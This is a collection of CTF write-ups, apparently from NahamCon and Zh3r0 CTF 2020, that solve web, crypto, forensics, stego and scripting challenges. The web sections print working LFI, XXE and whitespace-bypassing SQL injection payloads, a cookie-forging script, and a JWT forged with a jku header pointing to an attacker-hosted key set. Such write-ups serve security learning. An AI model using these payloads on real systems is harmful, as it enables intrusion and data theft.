Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
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|
# Homecooked
## Topics
- prime generation
## Challenge
[decrypt.py](https://github.com/ret2basic/ret2basic.github.io/blob/master/challs/NahamCon_CTF_2020/Crypto/Homecooked/decrypt.py)
## Source Code
```pythonimport base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
## Analysis
This decrypt script isn't working properly because the implementation of function `a()` is bad. So this function is essentially the naive implementation of `isprime()`. When `num` gets large, the for loop would run forever. A trick to optimize this function is to run the for loop in the range of `(2, int(sqrt(num)) + 1)`, since no factor of `num` would exceed its square root:
```pythonfor i in range(2, int(sqrt(num)) + 1):```
There is a nice explanation [here on stackoverflow](https://stackoverflow.com/questions/5811151/why-do-we-check-up-to-the-square-root-of-a-prime-number-to-determine-if-it-is-pr).
## Script
```python#!/usr/bin/env python3import base64from math import sqrt
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): # only this for loop is modified for i in range(2, int(sqrt(num)) + 1): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
## Flag
```plaintextflag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span>zh3r0-20<span>/</span> </div> </div>
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|
Test XXE payload of /etc/passwd reveals vulnerable.
```
]><message><id></id><message>&xx;;</message><title>xml</title></message>```
Hint suggests "start of the universe" so maybe that is the equivalent of "/". Guess the file name is `flag.txt` and then request `/flag.txt` in XXE.
```
]><message><id></id><message>&xx;;</message><title>xml</title></message>```
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#extraterrestrial) |
# Writeup of Rainbow Hex
In the stego-challenge `Rainbow Hex` we got an mp4 file that quickly flashed some colorful images.
We used ffmpeg to extract the images from the files into a few hundred files, using this
`ffmpeg -i video.mp4 thumb%04d.png -hide_banner`
Looking at the files, we recognized it as [hexahue](https://www.geocachingtoolbox.com/index.php?lang=en&page=hexahue), where the pattern of the six colored squares indicates a character.
Next we wrote a python script that looped over all the .png files, grabbed the colors, translated from hexahue into ascii, and printed the text.
```py#!/usr/bin/python3
from PIL import Imageimport glob
# Script for parsing Hexahue images# Expects all *.png files in current directory to be hexahue images.# Written for "Rainbow Hex" challenge on ZH3R0 CTF# Scalpel, Team Corax, june 2020
def hexahue_to_ascii(colors): """ P = Purple R = Red G = Green Y = Yellow B = Blue C = Cyan b = black w = white g = gray/grey """
hexahue = { "PRGYBC": "a", "RPGYBC": "b", "RGPYBC": "c", "RGYPBC": "d", "RGYBPC": "e", "RGYBCP": "f", "GRYBCP": "g", "GYRBCP": "h", "GYBRCP": "i", "GYBCRP": "j", "GYBCPR": "k", "YGBCPR": "l", "YBGCPR": "m", "YBCGPR": "n", "YBCPGR": "o", "YBCPRG": "p", "BYCPRG": "q", "BCYPRG": "r", "BCPYRG": "s", "BCPRYG": "t", "BCPRGY": "u", "CBPRGY": "v", "CPBRGY": "w", "CPRBGY": "x", "CPRGBY": "y", "CPRGYB": "z", "bwwbbw": ".", "wbbwwb": ",", "wwwwww": " ", "bbbbbb": " ", "bgwbgw": "0", "gbwbgw": "1", "gwbbgw": "2", "gwbgbw": "3", "gwbgwb": "4", "wgbgwb": "5", "wbggwb": "6", "wbgwgb": "7", "wbgwbg": "8", "bwgwbg": "9" }
if colors in hexahue: return hexahue.get(colors) else: return '?'
def getHexahueFromFile(filename): img = Image.open(filename) pixels = img.load()
# Pick the six colors from the image width, height = img.size first = pixels[10, 10] second = pixels[width-10, 10] third = pixels[width/4, height/2] fourth = pixels[width*3/4, height/2] fifth = pixels[10, height-10] sixth = pixels[width-10, height-10]
colors = [first, second, third, fourth, fifth, sixth]
#print(colors)
hexahue = '' for (red,green,blue) in colors:
if red > 240 and green > 240 and blue < 100: hexahue += 'Y' elif red < 100 and green < 100 and blue > 240: hexahue += 'B' elif 50 < red < 170 and green > 240 and blue < 100: hexahue += 'G' elif red < 100 and green > 240 and blue > 240: hexahue += 'C' elif red > 240 and green < 100 and blue > 240: hexahue += 'P' elif red > 240 and green < 100 and blue < 100: hexahue += 'R' elif red < 100 and green < 100 and blue < 100: hexahue += 'b' elif red > 230 and green > 230 and blue > 230: hexahue += 'w' elif 50 < red < 150 and 50 < green < 150 and 50 < blue < 150: hexahue += 'g' else: hexahue += '?'
# Any one we haven't solved? if '?' in hexahue: print(filename + " => " + str(colors) + " => " + hexahue )
#print(hexahue) return hexahue
if __name__ == '__main__':
# Loop over all images files = glob.glob("*.png") for filename in sorted(files): #, reverse=True): #print(filename) print(hexahue_to_ascii(getHexahueFromFile(filename)), end='')```
Running the script prints out the text:
```mr. robot follows elliot, a young programmer who works as a cyber security engineer by day and as a vigilante hacker by night. elliot finds himself at a crossroads when the mysterious leader of an underground hacker group recruits him to destroy the firm he is paid to protect. mr. robot had this hidden..start..zh3r0 w4s 1t 4 dr34m 0r was 1t 7h3 r34l1ty..end..compelled by his personal beliefs, elliot struggles to resist the chance to take down the multinational ceos he believes are running the world. eventually, he realizes that a global conspiracy does exist, but not the one he expected.```and from the middle section we get the flag `zh3r0{w4s_1t_4_dr34m_0r_was_1t_7h3_r34l1ty}` |
# Z3hr0_CTF_2020
***# Table of Contents
* [Forensics](#Forensics) - [LSB fun](#LSB-fun) - [Snow](#Snow) - [is it a troll???](#is-it-a-troll) * [Crypto](#Crypto) - [RSA-Warmup](#RSA-Warmup) - [Mix](#Mix)* [Web](#Web) - [Web-Warmup](#Web-Warmup)
***
# Forensics ## LSB fun have you ever heard of LSB :) ?
Author : h4x5p4c3
file : [user.zip](Assets//Files/user.zip)
**Solution:** After you unzip the file you'll get a jpg image, the first thing came to my mind is to use [jsteg](https://github.com/lukechampine/jsteg)```bashjsteg reveal chall.jpg```
and Bingo! **flag:**```zh3r0{j5t3g_i5_c00l}```
## SnowI wonder if the snow loves the trees and fields, that it kisses them so gently?
Author : h4x5p4c3
file : [snow.zip](Assets//Files/snow.zip)
**Solution:**I unzipped the file and got some hidden files , so I tried firstly to check ```flag.txt``` but it wasn't the correct flag
so I kept checking all the hidden files and folders until I got : ```welc0me_to_zh3r0_ctf```
which is also not the flag, so I went back to the unhidden files ```chall.txt``` , from the name of the challenge we can guess that we should use [stegsnow](https://0x00sec.org/t/steganography-concealing-messages-in-text-files/500) or [snow](http://www.darkside.com.au/snow/)
This indicates that we need a password , I tried ```john``` using ```rockyou.txt``` but I got nothing, so I remembered the string ```welc0me_to_zh3r0_ctf``` that I got from ```.secret.txt```
**flag:**```zh3r0{i5_it_sn0w1ng?}```
## is it a troll???there is baby key and baby hide the key somewhere. Can you help his father to find the key??
Author : cryptonic007
file : [Trollface.jpg](Assets//Files/Trollface.jpg)
**Solution:**
At the beginning I tried ```strings```,```binwalk``` etc.. But nothing interesting, so I tried ```exiftool```
There's a text at Author looks encrypted by ```Base64``` ,but that wasn't true so I tried ```Base58``` and ```Base62``` using [CyberChef](https://gchq.github.io/CyberChef/) and ```Base62``` worked.
I got ```pass : itrolledyou``` ,so since it mentioned password I used [steghide](http://steghide.sourceforge.net/) tool with ```itrolledyou``` as a password
```steghide extract -sf Trollface.jpg ```It extracted a zip file that contains another image
I tried usual things such as ```strings, exiftool etc..``` but again nothing interesting , then I used [zsteg](https://github.com/zed-0xff/zsteg) which is a great tool for ```.png``` and ```.bmp```. I got a strange text again that looks encrypted
So again using [CyberChef](https://gchq.github.io/CyberChef/) I tried all Bases and ```Base58``` worked.
**flag:**```zh3ro{y0u_got_th3_k3y}```
# Crypto
## RSA-WarmupRSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and distinct from the decryption key which is kept secret.You all know this :phere is a warmup question.
nc crypto.zh3r0.ml 8451
Author : Finch
**Solution:**
After connecting we will get :```N:423130325547287702818575275911638514089000677312397089081805057991969030705298706721977584791771140221048428491277072574621931762053228292827558133848431392100907341475739701625443407159362865290713505269417296254943824301579820381205337075166450305894211548942250717365528936705397266131955244020850392151721662069939e 65537CT: 64355745797365388490412995076301513621958191046794834306956838312585280589421173619216473785642127494178580195654010801071081452854241462208557812725513288017128104994318837129257203983692773852306990540483172991569629801482576680150381602438163038587331616025889766347178216490112604297980040248921138616716362273714```Firstly we need to factorize ```N``` by using [Integer factorization calculator](https://www.alpertron.com.ar/ECM.HTM)
We can choose eaither the highlighted value or the one after ```x``` , then we need to remove all whitespaces from that value we choosed I use this website [Delete All Whitespace Characters](https://www.browserling.com/tools/remove-all-whitespace)
Then you can use any RSA tool but I prefer this one that I got from a write-up video on YouTube [BabyRSADecryption.py](https://www.youtube.com/watch?v=dKt0x-UhPeY)
**flag:**```zh3r0{RSA_1s_Fun}```
## Mix
At the `BASE`ment no. `65536`,A man is irritated with `SHIFT` key in his `KEYBOARD` as it's a sticky key, A kid is having chocolate icecream with a `SPOON`.
Author : Whit3_D3vi1
File : [Mix.zip](Assets//Files/Mix.zip)
**Solution:**
> Fast of all , the challenge description has everything you need to find out the flag.
At first when I unzip the `Mix.zip` archived file I got two new file under the Mix folder
1. [flag.txt](Assets//Files/Mix/flag.txt)
file data:
``` If you opened this then you are a n00b ```
2. [chall_encrypted.txt](Assets//Files/Mix/chall_encrypted.txt)
file data :
```ꍦ鱡映㸺ꅙ饯?啤啳???魴餠???遯??顲啹???啤?啩灧鵳?楪扴詽鸭餫?怴㸊ꍦ鱡朠㸺攳攳昳昳攳昳攳攳攲攳昳昳昳攳攳昳攳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳攳昳昳攳昳攳攳攲攳昳昳昳攳昳昳昳攲攳攳昳昳攳攳昳昳攲攳昳昳昳攳攳昳昳攲攳攳昳昳攳攳攳攳攲攳昳昳攳昳昳攳昳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳昳昳昳攳昳昳昳攲攳昳昳攳昳攳攳昳攲攳攳昳昳攳昳昳昳攲攳昳昳攳昳攳攳攳㸊ꍦ鱡栠㸺襍?襍?襍?襍?襍?祍?襍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?襍?祍?襍?祍?祍?襍?祍?襍?襍?襍?襍?祍?祍?襍?襍?襍?襍?祍?襍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?襍?襍?祍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?襍?襍?襍?襍?襍?癍爽ᔊ```
The `flag.txt` file contents are not so interesting so we have move forward to the `chall_encrypted.txt` file.At first, when I saw the the content of the file I thought that I have to translate that shitty thing.For this I goes to [google translate](https://translate.google.co.in/) but it couldn't find anything (except some gibberish).After this I returned back to the main site & read the challenge description properly.At this time I saw there are some words which are highlited into bold.After seeing the first highlited word I have got a question in my mind that is the cipher text is any type of base encrypted data.To find out the answer I just searched on google for the first two highlited words together & I found that the encrypted data is a [base65536](https://www.better-converter.com/Encoders-Decoders/Base65536-Decode) hash encrypted text.After decoding that file data I got this :
```
flag 1:Yjod od s lrunpstf djogy vo[jrtyrcy jrtr od upi g;sh xj4t-}U-i+dit4+
flag 2:3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030
